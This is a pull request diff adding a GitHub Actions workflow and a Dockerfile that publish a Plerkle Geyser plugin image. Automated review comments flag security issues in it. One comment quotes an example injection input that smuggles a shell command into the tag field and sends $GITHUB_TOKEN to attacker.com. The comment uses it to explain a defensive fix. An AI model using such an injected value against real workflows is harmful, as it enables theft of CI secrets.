Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
81 changes: 81 additions & 0 deletions .github/workflows/publish-plerkle-plugin.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
name: Publish Plerkle plugin image

on:
push:
tags:
- "v*"
workflow_dispatch:
inputs:
tag:
description: "Release tag to publish, for example v3.0.1"
required: true
type: string
Comment on lines +3 to +12

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick | 🔵 Trivial | ⚡ Quick win

Consider adding concurrency controls to prevent parallel builds.

Without concurrency limits, multiple simultaneous triggers (e.g., manual dispatch while a tag push is running) could result in parallel builds of the same image, wasting resources and potentially causing race conditions in GHCR.

♻️ Recommended concurrency configuration
 name: Publish Plerkle plugin image

 on:
   push:
     tags:
       - "v*"
   workflow_dispatch:
     inputs:
       tag:
         description: "Release tag to publish, for example v3.0.1"
         required: true
         type: string

+concurrency:
+  group: publish-plerkle-plugin-${{ github.event.inputs.tag || github.ref }}
+  cancel-in-progress: false
+
 env:
🧰 Tools
🪛 zizmor (1.25.2)

[warning] 3-12: insufficient job-level concurrency limits (concurrency-limits): workflow is missing concurrency setting

(concurrency-limits)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-plerkle-plugin.yml around lines 3 - 12, Add a
top-level GitHub Actions concurrency block to the workflow that prevents
parallel runs for the same release tag: in the existing workflow triggered by
on: push (tags: ["v*"]) and workflow_dispatch (inputs.tag) add a concurrency
configuration using a unique group such as "publish-plerkle-plugin-${{
github.ref }}" or "publish-plerkle-plugin-${{ github.event.inputs.tag ||
github.ref }}" and set cancel-in-progress: true so concurrent runs for the same
tag are serialized and newer manual dispatches cancel in-progress builds.


env:
PLERKLE_PLUGIN_IMAGE_NAME: plerkle-plugin
RUST_VERSION: 1.89.0
SOLANA_VERSION_STABLE: v3.1.13

permissions:
contents: read
packages: write

jobs:
publish:
runs-on: ubuntu-latest
steps:
- name: Resolve tag
id: resolve
run: |
set -euo pipefail
if [[ "${GITHUB_EVENT_NAME}" == "workflow_dispatch" ]]; then
tag="${{ inputs.tag }}"
else
tag="${GITHUB_REF#refs/tags/}"
fi
agave_version="${SOLANA_VERSION_STABLE#v}"
echo "ci_tag=${tag}" >> "$GITHUB_OUTPUT"
echo "CI_TAG=${tag}" >> "$GITHUB_ENV"
echo "PLERKLE_PLUGIN_TAG=${tag}-rust${RUST_VERSION}-agave${agave_version}" >> "$GITHUB_ENV"
echo "PLERKLE_PLUGIN_IMAGE=ghcr.io/${GITHUB_REPOSITORY_OWNER}/${PLERKLE_PLUGIN_IMAGE_NAME}" >> "$GITHUB_ENV"
Comment on lines +29 to +40

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Code injection vulnerability via unescaped template expansion.

Line 32 directly interpolates ${{ inputs.tag }} into a shell script without validation. An attacker with workflow_dispatch permissions could inject arbitrary shell commands via the tag input.

Example malicious input: v1.0.0"; curl attacker.com?token=$GITHUB_TOKEN #

🔒 Recommended fix using intermediate environment variable
       - name: Resolve tag
         id: resolve
+        env:
+          INPUT_TAG: ${{ inputs.tag }}
         run: |
           set -euo pipefail
           if [[ "${GITHUB_EVENT_NAME}" == "workflow_dispatch" ]]; then
-            tag="${{ inputs.tag }}"
+            tag="${INPUT_TAG}"
           else
             tag="${GITHUB_REF#refs/tags/}"
           fi
           agave_version="${SOLANA_VERSION_STABLE#v}"
           echo "ci_tag=${tag}" >> "$GITHUB_OUTPUT"
           echo "CI_TAG=${tag}" >> "$GITHUB_ENV"
           echo "PLERKLE_PLUGIN_TAG=${tag}-rust${RUST_VERSION}-agave${agave_version}" >> "$GITHUB_ENV"
           echo "PLERKLE_PLUGIN_IMAGE=ghcr.io/${GITHUB_REPOSITORY_OWNER}/${PLERKLE_PLUGIN_IMAGE_NAME}" >> "$GITHUB_ENV"

This approach passes the input through an environment variable, preventing shell interpretation of special characters.

🧰 Tools
🪛 zizmor (1.25.2)

[error] 32-32: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-plerkle-plugin.yml around lines 29 - 40, The run
block currently interpolates ${{ inputs.tag }} directly into the shell
(assigning to tag) allowing shell injection; instead expose the input as a
GitHub Actions environment variable (e.g., CI_TAG from inputs.tag) and in the
script read that env var into a shell variable with proper quoting
(tag="$CI_TAG"), then use the quoted tag variable when writing CI outputs and
PLERKLE_PLUGIN_TAG/PLERKLE_PLUGIN_IMAGE; update references to use the quoted tag
and avoid direct ${{ inputs.tag }} expansions inside the run script while
preserving GITHUB_EVENT_NAME, tag, PLERKLE_PLUGIN_TAG and PLERKLE_PLUGIN_IMAGE
semantics.


- uses: actions/checkout@v4
with:
ref: ${{ steps.resolve.outputs.ci_tag }}
Comment on lines +42 to +44

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick | 🔵 Trivial | ⚡ Quick win

Security hardening: Disable credential persistence and pin action to commit SHA.

Two security improvements:

  1. Setting persist-credentials: false prevents GitHub token from persisting in the checked-out repository
  2. Pinning actions to commit SHAs rather than tags prevents tag-rewrite attacks
🔒 Recommended hardening
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
           ref: ${{ steps.resolve.outputs.ci_tag }}
+          persist-credentials: false

Note: You'll need to repeat SHA pinning for all actions in this workflow (setup-qemu-action@v3, setup-buildx-action@v3, login-action@v3, build-push-action@v6).

📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
- uses: actions/checkout@v4
with:
ref: ${{ steps.resolve.outputs.ci_tag }}
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
ref: ${{ steps.resolve.outputs.ci_tag }}
persist-credentials: false
🧰 Tools
🪛 zizmor (1.25.2)

[warning] 42-44: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false

(artipacked)


[error] 42-42: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)

(unpinned-uses)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/publish-plerkle-plugin.yml around lines 42 - 44, Set
persist-credentials: false on the actions/checkout step and replace the tag pins
with specific commit SHAs for actions referenced in this workflow (e.g.,
actions/checkout@v4 → actions/checkout@<commit-sha>), ensuring you update every
occurrence (including setup-qemu-action@v3, setup-buildx-action@v3,
login-action@v3, build-push-action@v6) so tags are not used; keep the existing
ref: ${{ steps.resolve.outputs.ci_tag }} behavior but add persist-credentials:
false to the checkout step and substitute tag references with their respective
commit SHAs to prevent credential persistence and tag-rewrite attacks.


- uses: docker/setup-qemu-action@v3

- uses: docker/setup-buildx-action@v3

- name: Log in to GHCR
uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}

- name: Build and push Plerkle plugin image
uses: docker/build-push-action@v6
with:
context: .
file: PlerklePlugin.Dockerfile
platforms: linux/amd64,linux/arm64
push: true
build-args: |
RUST_VERSION=${{ env.RUST_VERSION }}
labels: |
org.opencontainers.image.source=https://github.com/${{ github.repository }}
org.opencontainers.image.revision=${{ github.sha }}
org.opencontainers.image.version=${{ env.PLERKLE_PLUGIN_TAG }}
tags: |
${{ env.PLERKLE_PLUGIN_IMAGE }}:${{ env.PLERKLE_PLUGIN_TAG }}

- name: Verify multi-arch image
run: |
set -euo pipefail
image="${PLERKLE_PLUGIN_IMAGE}:${PLERKLE_PLUGIN_TAG}"
docker buildx imagetools inspect "$image" | tee /tmp/plerkle-plugin-image.txt
grep -q 'linux/amd64' /tmp/plerkle-plugin-image.txt
grep -q 'linux/arm64' /tmp/plerkle-plugin-image.txt
docker run --rm --platform linux/amd64 --entrypoint test "$image" -f /plugin/plugin.so
docker run --rm --platform linux/arm64 --entrypoint test "$image" -f /plugin/plugin.so
33 changes: 33 additions & 0 deletions PlerklePlugin.Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
ARG RUST_VERSION=1.89.0

FROM --platform=$TARGETPLATFORM rust:${RUST_VERSION}-bullseye AS builder

RUN apt-get update \
&& apt-get install -y --no-install-recommends \
build-essential \
ca-certificates \
cmake \
libelf-dev \
libsasl2-dev \
libssl-dev \
libudev-dev \
libzstd-dev \
pkg-config \
protobuf-compiler \
&& rm -rf /var/lib/apt/lists/*

WORKDIR /rust
COPY Cargo.toml Cargo.lock ./
COPY plerkle ./plerkle
COPY plerkle_messenger ./plerkle_messenger
COPY plerkle_serialization ./plerkle_serialization

RUN cargo build --release --locked -p plerkle

FROM --platform=$TARGETPLATFORM debian:bullseye-slim

LABEL org.opencontainers.image.title="Plerkle Geyser Plugin"
LABEL org.opencontainers.image.description="Plerkle Geyser plugin artifact for DAS e2e validator images"
LABEL org.opencontainers.image.source="https://github.com/metaplex-foundation/digital-asset-validator-plugin"

COPY --from=builder /rust/target/release/libplerkle.so /plugin/plugin.so
Comment on lines +27 to +33

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick | 🔵 Trivial | 💤 Low value

Consider adding a non-root USER for security hardening.

The container runs as root. While this is acceptable for an artifact-only container, adding a non-root user would follow security best practices and satisfy static analysis tools.

🔒 Optional hardening to add non-root user
 FROM --platform=$TARGETPLATFORM debian:bullseye-slim

 LABEL org.opencontainers.image.title="Plerkle Geyser Plugin"
 LABEL org.opencontainers.image.description="Plerkle Geyser plugin artifact for DAS e2e validator images"
 LABEL org.opencontainers.image.source="https://github.com/metaplex-foundation/digital-asset-validator-plugin"

+RUN groupadd -r plerkle && useradd -r -g plerkle plerkle \
+    && mkdir -p /plugin && chown plerkle:plerkle /plugin
+
+USER plerkle
+
 COPY --from=builder /rust/target/release/libplerkle.so /plugin/plugin.so
🧰 Tools
🪛 Checkov (3.2.529)

[low] 1-33: Ensure that HEALTHCHECK instructions have been added to container images

(CKV_DOCKER_2)


[low] 1-33: Ensure that a user for the container has been created

(CKV_DOCKER_3)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@PlerklePlugin.Dockerfile` around lines 27 - 33, Add a non-root user and
switch to it in the Dockerfile to harden the image: create a group and user
(e.g., via RUN groupadd -r plerkle && useradd -r -g plerkle -d /plugin -s
/sbin/nologin plerkle), ensure /plugin is owned by that user (chown -R
plerkle:plerkle /plugin) and then add a USER plerkle line after copying the
artifact; keep the existing FROM and COPY instructions but make sure the COPY
either preserves ownership or is followed by a chown so the new unprivileged
user can read the plugin.

Loading